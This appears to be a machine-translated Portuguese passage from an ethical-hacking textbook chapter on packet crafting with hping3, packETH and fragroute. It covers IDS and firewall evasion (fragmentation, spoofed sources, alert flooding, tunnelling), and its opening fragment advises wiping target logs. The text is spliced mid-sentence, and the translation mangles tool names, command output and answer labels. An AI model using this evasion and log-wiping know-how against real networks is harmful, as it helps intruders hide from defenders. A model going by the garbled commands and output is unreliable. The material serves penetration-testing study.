sólidas em vigor, mas também que estejam armazenando os registros do sistema em um local central, o que 
significa que qualquer coisa que você fizer com os registros no sistema local não terá impacto porque o lugar para 
onde qualquer investigador irá é o repositório de registros central e, muito provavelmente, uma ferramenta de 
pesquisa de registros como ElasticStack ou Splunk.
Uma maneira fácil de lidar com quaisquer logs no alvo é simplesmente limpá-los. Isso significa 
que você apagará todas as entradas no caso dos logs de eventos em um sistema Windows ou 
apenas excluirá os arquivos de log no caso de um sistema Linux ou Unix. Podemos retornarse for realmente uma vulnerabilidade, você precisará ter documentação para 
apresentar à empresa ou organização com a qual está trabalhando.
A varredura de vulnerabilidades é apenas um estágio no teste. Não é o fim. Vulnerabilidades devem 
sempre ser verificadas. Além disso, se você espera identificar o máximo de vulnerabilidades possível, 
precisará passar a explorar essas vulnerabilidades na esperança de identificar mais. Embora isso possa 
exigir o uso de ferramentas de exploração como o Metasploit ou mesmo ferramentas desenvolvidas sob 
medida, pode ser que você precise criar um pacote que tenha uma aparência específica. Não importa 
quais sejam as descobertas, elas precisam ser verificadas antes de serem apresentadas como 
descobertas.
Criação e manipulação de pacotes
Quando você está enviando dados pela rede, há um caminho claro que ele segue antes de sair da 
interface de rede no seu sistema. Nós já abordamos isso, até certo ponto, falando sobre o modelo Open 
Systems Interconnection (OSI). Digamos que você esteja visitando uma página da web. Você insere uma 
URL na barra de endereços. Seu navegador pega a entrada e cria os cabeçalhos de solicitação HTTP que 
são necessários para enviar ao servidor. Para simplificar, pularemos as partes de criptografia e falaremos 
apenas sobre como o pacote completo é montado.
O aplicativo faz uma solicitação ao sistema operacional para abrir uma conexão com o servidor. 
Isso aciona o sistema operacional para construir um pacote usando informações fornecidas pelo 
aplicativo. Isso inclui o nome do host ou endereço IP, bem como o número da porta. A menos que 
seja fornecido de outra forma, o número da porta será o padrão 80 ou 443, dependendo se a 
comunicação é HTTPS ou HTTP. Essas informações permitirão que o sistema operacional crie os 
cabeçalhos necessários para TCP e IP, camadas 4 e 3.
Tudo isso quer dizer que o aplicativo inicia solicitações com base na interação do usuário. Ele 
segue um caminho claro, e as informações colocadas nos cabeçalhos necessários para cada 
protocolo são coerentes e facilmente rastreadas até a fonte original das informações. Às vezes, 
porém, você pode precisar enviar dados que não seguem um caminho coerente. Poderia
178 Capítulo 5 - Redes de digitalização
seja que você precise manipular cabeçalhos com dados que normalmente não seriam encontrados nos campos de 
cabeçalho. Cada campo de cabeçalho tem um tamanho conhecido e é binário, o que significa que você não vai 
enviar um caractere em vez de um número, por exemplo. Nada nos cabeçalhos de rede, olhando para as camadas 
4 e abaixo com certeza, são dados que passariam por uma decodificação ASCII para serem convertidos em dados 
de caractere.
Há uma série de ferramentas que podem ser usadas para criar ou manipular os dados do cabeçalho. 
Algumas delas são projetadas com o único propósito de criar pacotes que tenham a aparência que você 
deseja. Pode ser uma ferramenta como o packETH, que usa uma GUI para permitir que você defina os 
campos. Outras têm outros propósitos que permitem que você interaja com o sistema de destino de uma 
forma que você não conseguiria fazer sem escrever seu próprio programa. Uma ferramenta como o hping 
permitirá que você crie um pacote com base nos parâmetros da linha de comando. Usando uma ferramenta 
como o hping, você pode avaliar a resposta do sistema. Finalmente, você pode querer mutilar o pacote 
usando um conjunto de regras, o que colocaria a pilha de rede do sistema operacional à prova, para ver se 
ele pode lidar com pacotes mal construídos.
chorando
O programa hping é considerado pelo desenvolvedor como o canivete suíço dos pacotes TCP/IP. Você pode 
usá-lo como um programa de ping direto, enviando solicitações de eco ICMP. Como o hping é 
principalmente um programa de criação de pacotes, permitindo que você inicie conexões usando diferentes 
protocolos com as configurações de cabeçalho que você deseja, o modo padrão pode não funcionar muito 
bem para você. Por padrão, se você não especificar nada além do host de destino ou endereço IP, o hping 
enviará mensagens para a porta 0 no seu destino com um endereço de origem variável. O endereço 0 é 
essencialmente um destino inválido, pois é considerado reservado e não tem propósito. Você não deve 
obter nenhuma resposta do sistema para o qual está enviando tráfego. Se obtiver, o host de destino está 
realmente violando o protocolo. Enquanto o hping usa TCP para isso, a porta 0 é inválida para UDP e TCP.
Embora você possa usar hping como um substituto para o programa ping, chamando-o com o
- 1parâmetro, significando que você está usando o modo ICMP, você também pode criar conexões 
para portas específicas. Você obterá o mesmo comportamento que obteria com o programa ping, 
significando que você obterá a "atividade" do sistema e o tempo de ida e volta. Você obterá algo 
ainda mais detalhado, no entanto, já que você saberá se um serviço específico está ativo e em 
execução. Isso pode ser útil se você estiver fazendo testes em um aplicativo. Você pode querer saber 
quando o serviço falha. Você obterá muitos detalhes da resposta, além do tempo de ida e volta. Você 
pode ver no código a seguir listando uma execução do hping3 em um servidor web em um sistema 
de destino.
Enviando mensagens SYN para um sistema de destino
root@quiche:~# hping3 -S -p 80 192.168.86.1
HPING 192.168.86.1 (eth0 192.168.86.1): Conjunto S, 40 cabeçalhos + 0 bytes de dados len=46 
ip=192.168.86.1 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=29200 rtt=7,9 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=29200 rtt=7,9 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=29200 rtt=7,6 ms
Criação e manipulação de pacotes 179
len=46 ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=3 vitória=29200 rtt=7,5 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=4 vitória=29200 rtt=7,3 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=5 vitória=29200 rtt=3,0 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=6 vitória=29200 rtt=2,8 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=7 vitória=29200 rtt=2,7 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=8 vitória=29200 rtt=2,5 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=9 vitória=29200 rtt=2,4 ms len=46 
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=10 vitória=29200 rtt=2,2 ms
hping fornecerá a você todos os sinalizadores definidos na resposta. Isso inclui os sinalizadores 
SYN e ACK, bem como o bit don't fragment, indicado pelo DF na resposta. Você pode ver muitos 
outros detalhes também, incluindo o número de identificação IP, o número de sequência relativo e o 
tamanho da janela conforme fornecido pelo host de destino. No caso de uma porta onde não há 
ouvinte, você não receberá uma mensagem indicando que o host está inacessível ou que a 
mensagem expirou, como faria com um programa ping padrão. Em vez disso, você receberá a 
mesma resposta de volta que recebeu de uma porta aberta. Em vez de mostrar SA para 
sinalizadores, o que significa que os sinalizadores SYN e ACK foram definidos, você verá RA, o que 
significa os sinalizadores RST e ACK. O sistema remoto redefiniu a porta, nos dizendo que não há 
nenhum aplicativo lá. Você ainda obterá todas as outras informações, incluindo o tempo de ida e 
volta, que lhe dirá o quão rápido o sistema de destino responde a essas mensagens, o que será um 
fator de capacidade de resposta da rede e do sistema operacional.
Os soquetes brutos fornecem aos programadores a capacidade de ignorar a pilha de rede. 
Quando um programador usa soquetes brutos, espera-se que o programa manipule todas as 
coisas que a pilha de rede faz, o que significa que todos os valores nos cabeçalhos devem ser 
definidos. Os soquetes brutos fornecem ao programador controle completo sobre como o 
pacote acabará se parecendo. Nada disso precisaser considerado legal do ponto de vista dos 
protocolos, se você não estiver esperando respostas de volta. Isso não quer dizer que você 
sempre obterá uma resposta, no entanto. Você pode mutilar completamente a mensagem 
para o host de destino. Como um exemplo, dê uma olhada na linha de comando abaixo. O 
deslocamento para os cabeçalhos TCP está sendo definido incorretamente, o que significa 
que a pilha de rede de destino está sendo apontada para o lugar errado. Além disso, os 
sinalizadores SYN e FIN estão definidos, bem como os sinalizadores ACK e PSH. Esta é uma 
combinação de sinalizadores que não faz sentido. A porta de origem está sendo definida 
como 15, o que exigiria privilégios administrativos para fazer, como a maioria das coisas no 
hping, considerando que geralmente usa algo chamado soquetes brutos.
hping com sinalizadores ruins definidos
root@quiche:~# hping3 -O 8 -s 15 -F -S -P -A -t 3 -p 80 192.168.86.1 HPING 192.168.86.1 
(eth0 192.168.86.1): conjunto SAFP, 40 cabeçalhos + 0 bytes de dados C
- - - 192.168.86.1 estatística hping ---
180 Capítulo 5 - Redes de digitalização
hping com sinalizadores ruins definidos(continua)
19 pacotes transmitidos, 0 pacotes recebidos, 100% de perda de pacotes 
ida e volta min/média/máx = 0,0/0,0/0,0 ms
Além de ICMP e TCP, você pode enviar mensagens UDP. Há menos parâmetros usados para enviar 
mensagens UDP devido ao número limitado de opções disponíveis nos cabeçalhos UDP. Podemos, no 
entanto, usar hping para executar uma varredura de porta. Podemos varrer uma gama de portas UDP 
usando o --escanear (ou -8)parâmetro. Você pode ver isso feito no código a seguir. Usando --escanear,
precisamos especificar as portas que estão sendo alvo. Esta varredura tem como alvo as portas 
administrativas 1–1023. Não há portas escutando neste host nesse intervalo. O que foi truncado da saída 
foram todos os números de porta e nomes de serviço associados que não estavam escutando. Um outro 
recurso do hping é a capacidade de falsificar endereços. Usando o -umparâmetro, seguido por um endereço 
IP, fará com que hping altere o endereço de origem em mensagens enviadas. Isso significa que você não 
receberá nenhuma resposta, porque as respostas serão enviadas para o endereço de origem que você 
especificar.
porta udp escanear com hping
root@quiche:~# hping3 --scan 1-1023 –a 10.15.24.5 
Escaneando 192.168.86.1 (192.168.86.1), porta 1-1024 1024 
portas para escanear, use -V para ver todas as respostas
+ - - - - + - - - - - - - - - - - + - - - - - - - - + - - - - - - + - - - - - + - - - - - + - - - - - + - - - 
- - + |porta| nome do servidor | sinalizadores |ttl| id | win | len |
+ - - - - + - - - - - - - - - - - + - - - - - - - - + - - - + - - - - - + - - - - - + - - - - - + - - - - - + 
Todas as respostas recebidas. Concluído.
- 2 192.168.86.1
Portas não respondendo: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) (8 ) (9 discard) (10 ) 
(11 systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) (17 qotd) (18 msp) (19 chargen) (20 ftp-data) 
(21 ftp) (22 ssh) (23 telnet) (24 )
Outro recurso que vale a pena mencionar é a capacidade de enviar pacotes de qualquer tamanho que 
você quiser. Para alterar o tamanho dos dados enviados, você usaria -eseguido por uma contagem de 
bytes. Isso define o tamanho do corpo do pacote nos cabeçalhos. Você também pode preencher os 
pacotes especificando um nome de arquivo usando --arquivoparâmetro. Isso lerá o conteúdo do arquivo e 
o usará para preencher a porção de dados do pacote. Você pode travar o aplicativo porque os dados 
enviados podem violar as especificações do protocolo.
pacoteETH
Onde hping usa parâmetros de linha de comando, packETH adota uma abordagem GUI para poder definir todos os 
parâmetros. Os conjuntos de cabeçalhos variam, dependendo dos protocolos selecionados, e cada um dos 
cabeçalhos de camada inferior indica o próximo protocolo, ou seja, o próximo conjunto de
Criação e manipulação de pacotes 181
cabeçalhos. Quando você seleciona quais protocolos está usando, o packETH se ajustará para fornecer 
todos os campos de cabeçalho para o protocolo selecionado. A Figura 5.25 mostra os campos de 
cabeçalho IP, bem como os campos de cabeçalho TCP. Você também verá onde o IP é selecionado como o 
próximo protocolo no cabeçalho da camada 2. Você não pode ver o cabeçalho da camada 2 nesta captura 
de tela, mas você seria capaz de definir endereços, determinar qual versão do protocolo da camada 2 está 
usando e também adicionar campos 802.1q, que fornecem um campo de tag para indicar em qual LAN 
virtual (VLAN) o quadro deve estar.
figura 5. 2 5Interface do pacote ETH
Além de definir cabeçalhos, você pode adicionar seus próprios dados que iriam para a carga útil. 
Você não precisa ter dados para incluir, no entanto, se preferir apenas ter dados preenchidos em um 
determinado tamanho. A Figura 5.26 mostra os cabeçalhos TCP preenchidos com a carga útil de 
dados também preenchida. No lado direito da captura de tela, você pode ver duas caixas de edição. 
Uma delas é o padrão de dados, que deve estar em hexadecimal. A outra é o número de instâncias 
do padrão fornecido. O primeiro campo é definido como ab, e o número de iterações é definido 
como 500. Depois de ter o padrão e o número, você aplica o padrão e sua carga útil de dados será 
preenchida. Você notará que ele é formatado exatamente como você esperaria que um dump 
hexadecimal fosse formatado, com cada byte hexadecimal separado dos outros.
182 Capítulo 5 - Redes de digitalização
figura 5 . 2 6Preenchimento de padrão de dados
Embora você possa criar pacotes seguindo campos conhecidos e compreendidos, você também pode criar 
seus próprios pacotes. Seus cabeçalhos de camada 2 precisam ser definidos com endereços MAC na origem e no 
destino para que haja algum lugar para o quadro ir, mas além disso, você pode fazer o que quiser selecionando 
User Defined Payload. Isso deixaria de fora todas as informações da camada 3 e incluiria apenas o que você queria 
incluir, seja texto ou um padrão de preenchimento hexadecimal. A Figura 5.27 mostra um payload criado usando 
um padrão. Usar texto causou um erro com o protocolo de próxima camada especificado porque ele não está 
configurado para receber texto bruto. Você precisa criar um padrão hexadecimal em vez disso. Você verá na parte 
inferior da captura de tela que 60 bytes foram enviados, o que inclui o payload da camada de rede que 
especificamos.
Depois que seu pacote for criado, você pode enviá-lo. Clicar no botão Enviar na barra de 
ferramentas enviará um único pacote. Se quiser enviar mais de um pacote, você terá que usar o 
botão Gen-b ou Gen-s. Gen-b lhe dá a habilidade de especificar o número de pacotes a serem 
enviados. Você poderá indicar a largura de banda que deseja usar, ou também pode indicar o 
intervalo entre pacotes, que é o atraso entre os pacotes enviados. Gen-s lhe dá a habilidade de gerar 
fluxos. Um fluxo pode ser um padrão definido de pacotes que foram salvos em arquivos diferentes. 
Depois que você tiver o padrão definido indicando os pacotes que deseja usar, você pode dizer ao 
packETH como deseja enviá-los — em rajada, contínuo ou aleatório. Você também pode indicar o 
número total de pacotes que deseja enviar, bem como o atraso.
Falando em carregar pacotes de um arquivo, você pode salvar os pacotes que você cria. Isso permite 
que você crie uma série de pacotes e os carregue no modo Gen-s, mas também permite que você crie um 
pacote e o carregue para enviá-lo a qualquer momento que você quiser sem ter que recriá-lo. Se você 
quiser usar um pacote existente que você capturou como seu ponto de partida, você também pode 
carregar um arquivo de captura de pacotes (PCAP). Quando você seleciona um quadro da lista na 
visualização PCAP, esse quadro será exibido na visualização Builder.
Criação e manipulação de pacotes 183
figura 5. 2 7Preenchimento de dados da camada de rede
fragmento
fragroute é um programa usado para mutilar pacotes antes que eles sejam enviados paraum alvo que você 
especificar. Ele funciona fazendo ajustes na tabela de roteamento para que todas as mensagens que vão para o 
alvo sejam enviadas através do aplicativo fragroute primeiro. Para fazer o fragroute funcionar, você precisa criar 
um arquivo de configuração. Este arquivo de configuração tem diretivas dizendo ao fragroute como lidar com 
pacotes que passam pelo aplicativo. Na listagem de código a seguir, você pode ver um arquivo de configuração 
com um punhado de diretivas que são garantidas para criar um tráfego de rede realmente bagunçado.
Arquivo de configuração do fragroute
kilroy@lolagranola $ cat frag.conf atraso 
aleatório 1
dup últimos 30%
ip_chaff dup
ip_frag 128 novo
tcp_chaff nulo 16
ordem aleatória
imprimir
184 Capítulo 5 - Redes de digitalização
As diretivas aqui dizem ao fragroute para fazer uma série de coisas com os pacotes. A primeira coisa é 
atrasar pacotes aleatórios em 1 milissegundo. Em seguida, há uma chance de 30 por cento de duplicar o 
último pacote.ip_chafflinha adiciona pacotes duplicados na fila. Quando as mensagens são enviadas, elas 
têm um tamanho de unidade máxima de transmissão (MTU) que é ditado pelo protocolo de link de dados. 
Com Ethernet, isso é 1.500 bytes, embora seja possível obter algo chamado quadros jumbo que são muito 
maiores. Mais comumente, você verá um MTU de 1.500. Qualquer mensagem que seja maior que o MTU é 
fragmentada. Usando fragroute, no entanto, vamos forçar os pacotes a serem fragmentados antes do 
envio. Isso acontece noip_frag 128 novolinha. Estaremos fragmentando em 128 bytes, o que é suficiente 
para dados de cabeçalho e um pouco mais. Qualquer coisa grande sendo enviada, como um arquivo de 
imagem, terá um grande número de fragmentos.
A linha que começa comtcp_palhafaz a mesma coisa queip_chafffaz, trabalhando em vez disso na camada de 
Transporte. Os segmentos TCP sendo inseridos terão sinalizadores TCP nulos, conforme especificado na 
configuração. Também poderíamos ter somas de verificação inválidas, carimbos de data/hora mais antigos ou 
outras informações falsas no cabeçalho TCP. Isso teria feito com que essas mensagens fossem rejeitadas na 
extremidade distante da conversa, após a inspeção. Finalmente, a ordem das mensagens será randomizada, então 
elas estarão fora de ordem e precisarão ser remontadas na extremidade distante, então os detalhes da mensagem 
serão impressos.
Usando um arquivo de configuração mais simples, você pode ver uma execução de fragroute na listagem de 
código a seguir. Este é o arquivo de configuração que foi instalado por padrão com o pacote fragroute em um 
sistema Kali Linux. Este arquivo de configuração usatcp_segpara dividir os dados TCP em tamanhos de segmento 
especificados. Depois disso, ele usaip_frageip_chaffcomo mencionado anteriormente. Então, ele definirá uma 
ordem e imprimirá os detalhes da mensagem, que você pode ver.
fragroute corre contra o alvo
root@quiche:~# fragroute -f /etc/fragroute.conf 184.159.210.190 
fragroute: tcp_seg -> ip_frag -> ip_chaff -> order -> print
192.168.86.57.18294 > 184.159.210.190.17766: SR 1400140884:1400140908(24) ack 
1802781559 win 14416 urg 21625 [atraso 0,001 ms]
192.168.86.57.43460 > 184.159.210.190.4433: S 2873730507:2873730507(0) vitória 29200 
192.168.86.57.21314 > 184.159.210.190.29050: S 810642531:810642543(12) ack 
1802326352 win 27514 [atraso 0,001 ms]
192.168.86.57.43460 > 184.159.210.190.4433: S 2873730507:2873730507(0) vitória 29200 
192.168.86.57.19306 > 184.159.210.190.22387: R 1297315948:1297315960(12) ack 
2020107846 win 19767 urg 31041 [atraso 0,001 ms]
192.168.86.57.43460 > 184.159.210.190.4433: S 2873730507:2873730507(0) vitória 29200 
192.168.86.57.26963 > 184.159.210.190.21350: SFP 1950696520:1950696548(28) vitória 
27988 urg 20558 [atraso 0,001 ms]
Técnicas de Evasão 185
O que você provavelmente notará quando usar fragroute é que o que você está tentando fazer 
para interagir com o alvo falhará. No exemplo anterior, useicliente s_opensslpara iniciar uma conexão 
com o servidor web usando SSL/TLS. A conexão nunca foi concluída, presumivelmente porque os 
pacotes que chegavam ao destino estavam tão desorganizados e fora de ordem que a pilha de rede 
não sabia o que fazer com eles. O objetivo de executar o fragroute, no entanto, não é 
necessariamente fazer a conexão. Às vezes, o objetivo é apenas ver se você consegue fazer a pilha 
de rede no sistema de destino falhar, o que pode levar o kernel com ela, fazendo com que o sistema 
inteiro fique indisponível, forçando uma reinicialização ou reinício.
Técnicas de Evasão
Qualquer organização alvo que você testar terá mecanismos de segurança para se defender. Podem 
ser firewalls ou sistemas de detecção de intrusão. Também pode ter sistemas de prevenção de 
intrusão. Qualquer um deles pode frustrar seus esforços, seja bloqueando-os ou emitindo um alerta, 
o que pode resultar na descoberta de suas ações. Qualquer uma dessas coisas seria ruim. Felizmente, 
existem algumas técnicas de evasão que podem ajudá-lo a contornar esses dispositivos para que 
você possa continuar avançando. Algumas das ferramentas que já vimos ajudarão você com esses 
procedimentos evasivos. As técnicas comuns de evasão são as seguintes:
Ocultar/Obscurecer os DadosVocê pode usar criptografia ou ofuscação para disfarçar o que está fazendo. 
O tráfego criptografado não pode ser investigado sem violar a natureza de ponta a ponta da criptografia. O 
objetivo com a criptografia é que a mensagem seja criptografada do remetente para o destinatário, sem 
ser descriptografada em pontos intermediários. Você também pode codificar os dados usando várias 
técnicas de codificação, incluindo codificação de URL, que substitui caracteres pelo valor hexadecimal de 
seu código ASCII.
AlteraçõesOs sistemas de detecção/proteção de intrusão em particular geralmente usam algo chamado 
assinatura. No caso de malware, isso pode ser um valor de hash criptográfico que pode ser comparado a um 
banco de dados de malware conhecido. Se houver uma correspondência do hash, as mensagens podem ser 
descartadas. Quando se trata de um hash criptográfico, no entanto, a alteração de um único caractere no 
conteúdo do arquivo produzirá um valor de hash completamente diferente, o que significa que o que quer que 
você esteja fazendo não será detectado. Essa estratégia é comumente chamada de polimorfismos, depolimorfo, 
significando muitas formas ou formatos.
FragmentaçãoAtaques de fragmentação podem ser usados para driblar mecanismos de segurança de rede 
simplesmente porque esses dispositivos, quando estão em linha, levariam tempo para remontar as mensagens 
antes que a atividade adversária fosse vista. Essa remontagem leva tempo e, portanto, alguns dispositivos 
simplesmente não se importam porque a remontagem e a detecção podem adicionar latência às comunicações. 
Isso depende do dispositivo e das decisões tomadas pelos desenvolvedores do dispositivo. Você pode usar uma 
ferramenta como o fragroute para ajudá-lo com a fragmentação.
SobreposiçõesQuando as mensagens são fragmentadas, isso pode acontecer na camada de rede ou na 
camada de transporte, como você viu ao olhar para o fragroute. Quando as mensagens precisam ser
186 Capítulo 5 - Redes de digitalização
remontado, todas as peças precisam estar lá e em um estado são para que o quebra-cabeça possa ser 
encaixado novamente. Ao usar TCP, você pode sobrepor números de sequência. Esta é essencialmente a 
contagem de bytes que foi enviada. Você pode enviar dois segmentos TCP que parecem ocupar o mesmo 
espaço no quebra-cabeça que está sendo remontado. O IDS e o SO de destino podem decidir remontar o 
quebra-cabeça de forma diferente. Isso pode acontecer se um decidir favorecer as informações mais 
recentes enquanto o outro favorece as mais antigas. OSO precisa decidir se a primeira mensagem 
recebida foi válida ou se a última mensagem recebida foi mais válida.
Dados malformadosProtocolos são conjuntos de regras sobre como as comunicações devem acontecer. Se 
você violar essas regras, poderá obter resultados inesperados. Mesmo que você não esteja violando as 
regras, mas sim aproveitando brechas, poderá obter alguns dados úteis. É por isso que o nmap usa 
varreduras XMAS, FIN e NUL. O comportamento é inesperado, embora não seja tecnicamente ilegal do 
ponto de vista do protocolo. Da mesma forma, há detalhes nos protocolos que podem ser manipulados de 
forma diferente em diferentes pilhas de rede. O ponteiro URG pode ser manipulado de forma diferente em 
diferentes sistemas operacionais. Isso pode ser usado para contornar um IDS e ainda fazer com que o 
sistema de destino responda da maneira que você deseja.
Baixo e lentoVarreduras rápidas podem ser fáceis de detectar. Mais difíceis de detectar são varreduras que 
ocorrem em um período de tempo muito longo. Imagine um único pacote de varredura sendo enviado uma vez 
por hora. Isso pode ser muito demorado para ser executado, mas quando você está falando sobre mensagens 
individuais, é muito menos provável que o IDS ou o firewall as identifiquem como uma varredura de porta. Levar 
seu tempo pode ser benéfico. Você pode usar o parâmetro de limitação do nmap para realmente desacelerar suas 
varreduras.
Consumo de recursosPode ser possível fazer com que dispositivos falhem ao abrir consumindo 
recursos como CPU ou memória. Se você puder esgotar qualquer um desses recursos, pode ser possível 
fazer com que mensagens subsequentes passem apenas depois que o dispositivo falhar.
Cegueira de telaNo caso do IDS, o dispositivo ou software emitirá alertas. É esperado que haja alguém 
olhando para esses alertas. Se você puder gerar enormes volumes de alertas de tráfego com o qual não se 
importa, você pode fazer com que as pessoas que olham para os alertas fiquem cegas na tela, o que 
significa que elas simplesmente não estão mais vendo os detalhes importantes porque estão 
sobrecarregadas com o que estão procurando. Dessa forma, você pode configurar uma cortina de fumaça 
com muito tráfego de alerta falso e, em seguida, enviar seus dados reais pela tela.
TúnelUm túnel é uma maneira de transmitir dados dentro de outra coisa. Por exemplo, o protocolo 
Generic Routing Encapsulation (GRE) pode criar um túnel pegando pacotes e encapsulando-os 
dentro de pacotes GRE. Isso faz parecer que o que está passando é um pacote GRE quando na 
verdade há algo na carga útil. GRE é um protocolo que foi projetado para fazer o túnel de tráfego em 
casos em que você deseja manipular o roteamento na extremidade receptora em vez da 
extremidade emissora. Outros protocolos foram usados para ataques de túnel, incluindo SSH, 
HTTP, ICMP e DNS. Esses ataques de túnel exigem software na extremidade receptora que pode 
extrair as mensagens de túnel e colocá-las na rede de destino.
Tenha em mente que com dispositivos como firewalls com estado, uma vez que você recebe a primeira 
mensagem, mensagens subsequentes podem ser permitidas por padrão porque elas são parte de uma 
conexão estabelecida. Claro, essas técnicas de evasão já existem há muito tempo, então é possível que o 
firewall ou fornecedor de IDS saiba como detectar a maioria delas.
Resumo 187
eles. Isso significa que você pode não conseguir fazer as evasões funcionarem. Ainda vale a pena conhecê-
las e experimentá-las para ver se você consegue passar.
Há alguns que têm mais probabilidade de funcionar do que outros, porque não dependem do firewall 
ou do fornecedor do IDS. A criptografia, por exemplo, deve sempre funcionar porque o firewall e o IDS 
simplesmente não conseguem ver os dados, já que as chaves são negociadas pelos dois pontos de 
extremidade. A criptografia, no entanto, requer um serviço na extremidade receptora que entenda a 
criptografia e possa negociar com o aplicativo de envio. Uma técnica de evasão que não depende de 
meios técnicos está sobrecarregando a pessoa que está olhando os alertas. Isso, no entanto, pressupõe 
que não haja tecnologia em vigor para eliminar as mensagens estranhas, apresentando apenas alertas 
interessantes ao operador.
Resumo
A varredura fornecerá uma riqueza de informações que serão necessárias à medida que você avança com 
seus testes e avaliações. No entanto, existem diferentes tipos de varredura. Conforme você estiver 
varrendo, você desejará identificar portas que estão abertas. O propósito de identificar portas abertas não 
é apenas obter uma lista de portas. Em última análise, você deseja identificar os serviços ou aplicativos que 
estão escutando nas portas abertas. Para identificar essas portas abertas, você usaria um scanner de 
portas. O scanner de portas mais comumente usado é o nmap. O Nmap pode ser usado para mais do que 
apenas identificar portas abertas. Ele também pode ser usado para identificar versões de aplicativos 
capturando banners. Além disso, o nmap pode identificar o sistema operacional em execução no destino.
Embora existam outros scanners de porta disponíveis, incluindo o masscan, que é usado para varredura 
de alta velocidade, o nmap é o único scanner de porta que tem um mecanismo de script integrado. O 
mecanismo de script para o nmap é baseado na linguagem de programação Lua, mas o nmap fornece 
bibliotecas que darão a você acesso fácil às informações que o nmap tem para que você possa escrever 
scripts para identificar melhor os serviços e também executar testes como identificar vulnerabilidades. 
Quando você escreve scripts para o mecanismo de script nmap (NSE), você registra portas com o nmap para 
que o nmap saiba chamar seu script quando encontrar a porta registrada aberta.
Embora o nmap seja comumente um programa de linha de comando, também há uma GUI que atua como um 
front-end para o nmap. O Zenmap é um programa que chamará o nmap com base em um comando especificado, 
mas também analisará os resultados, fornecendo-os a você de diferentes maneiras. Você pode olhar todos os 
serviços que foram identificados. Você também pode dar uma olhada em uma topologia da rede com base no que o 
nmap encontra. Embora você possa fornecer o mesmo comando ao Zenmap que faz ao nmap, o Zenmap também 
fornecerá alguns tipos de varredura que você pode executar, como uma varredura intensa. Selecionar o tipo de 
varredura preencherá os parâmetros de linha de comando necessários.
Os scanners de vulnerabilidade não só procurarão por vulnerabilidades, como também geralmente 
realizarão varreduras de portas como parte da busca e identificação de portas abertas. Há vários scanners 
de vulnerabilidade disponíveis comercialmente. Existem muito poucos scanners de vulnerabilidade que são 
de código aberto. Um, baseado em um que agora é comercial, é o OpenVAS. O OpenVAS foi bifurcado da 
última versão de código aberto do Nessus. Um dos desafios da vulnerabilidade
188 Capítulo 5 - Redes de digitalização
scanners é a enorme quantidade de trabalho necessária para mantê-los e atualizá-los, o que 
talvez seja a principal razão pela qual existem tão poucos scanners de código aberto.
Scanners de vulnerabilidade, como OpenVAS e Nessus, usam plug-ins para executar testes. Eles sondam o 
host alvo para observar o comportamento no host a fim de identificar vulnerabilidades potenciais. No entanto, 
nem todas as vulnerabilidades identificadas são reais. Vulnerabilidades que são identificadas por scanners, mas 
não são reais, são chamadas de falsos positivos. Um falso negativo seria uma vulnerabilidade que existia, mas 
não foi identificada. Os scanners de vulnerabilidade estão longe de ser infalíveis devido à maneira como 
funcionam. Pode exigir trabalho manual para validar as descobertas de um scanner de vulnerabilidade.
Para testar vulnerabilidades e também executar varreduras, você pode precisar fazer algo diferente de 
depender do sistema operacional para construir seus pacotes para você. Existem várias ferramentasque 
você pode usar para criar pacotes, como hping. Esta é uma ferramenta que pode ser usada para escanear, 
mas também pode ser usada para criar pacotes usando switches de linha de comando. Se você preferir não 
usar a linha de comando, você pode usar uma ferramenta como packETH. packETH apresenta todos os 
cabeçalhos nas camadas 2 a 4. Você também pode criar uma carga útil para ir no pacote. packETH também 
permitirá que você extraia pacotes de um PCAP e faça alterações nele. Você pode enviar pacotes individuais 
para um alvo — camada 2 ou camada 3 — ou pode enviar fluxos. Usando esses pacotes criados, você pode 
obter respostas do seu alvo que podem fornecer as informações necessárias.
Suas redes alvo provavelmente terão firewalls e um IDS instalado. Você provavelmente vai querer usar 
técnicas para evadir esses dispositivos, já que eles provavelmente vão impedir você de fazer seu trabalho. 
Há várias maneiras de evadir tecnologias de segurança, incluindo criptografia/codificação, fazendo com 
que o operador fique cego na tela ou enviando mensagens malformadas para o alvo.
Perguntas de revisão 189
Perguntas de revisão
Você pode encontrar as respostas no Apêndice.
1.Se você receber um pacote RST de um host de destino, o que você sabe sobre seu destino?
UM.O alvo está usando UDP em vez de TCP.
B.A porta de destino está aberta no host de destino.
C.A porta de origem na mensagem RST está fechada.
E.O alvo espera que o sinalizador PSH seja definido.
2.Qual é a diferença entre uma varredura SYN e uma varredura de conexão completa?
UM.Uma varredura SYN e uma varredura de conexão completa são a mesma coisa.
B.Uma varredura de conexão completa envia uma mensagem ACK primeiro.
C.Uma varredura SYN usa o sinalizador PSH com o sinalizador SYN.
E.A varredura SYN não conclui o handshake triplo.
3.Qual é um dos motivos pelos quais uma varredura UDP pode demorar mais do que uma varredura TCP do mesmo host?
UM.O UDP retransmitirá mais.
B.O UDP tem mais portas para escanear.
C.UDP é um protocolo mais lento.
E.O UDP requer mais mensagens para ser configurado.
4.Por que uma varredura ACK não indica claramente que as portas estão abertas?
UM.O scanner tem que adivinhar.
B.ACK não é um sinalizador suportado.
C.O sistema de destino ignora a mensagem.
E.As varreduras ACK causam muitas retransmissões.
5.Qual é um dos motivos para usar uma varredura como uma varredura ACK?
UM.Ele pode passar por firewalls e dispositivos IDS.
B.É melhor suportado.
C.O código no nmap é mais robusto.
E.Uma varredura ACK é necessária para suporte de script.
6.O que o nmap analisa para identificar um sistema operacional?
UM.Os cabeçalhos do sistema operacional
B.A versão do aplicativo
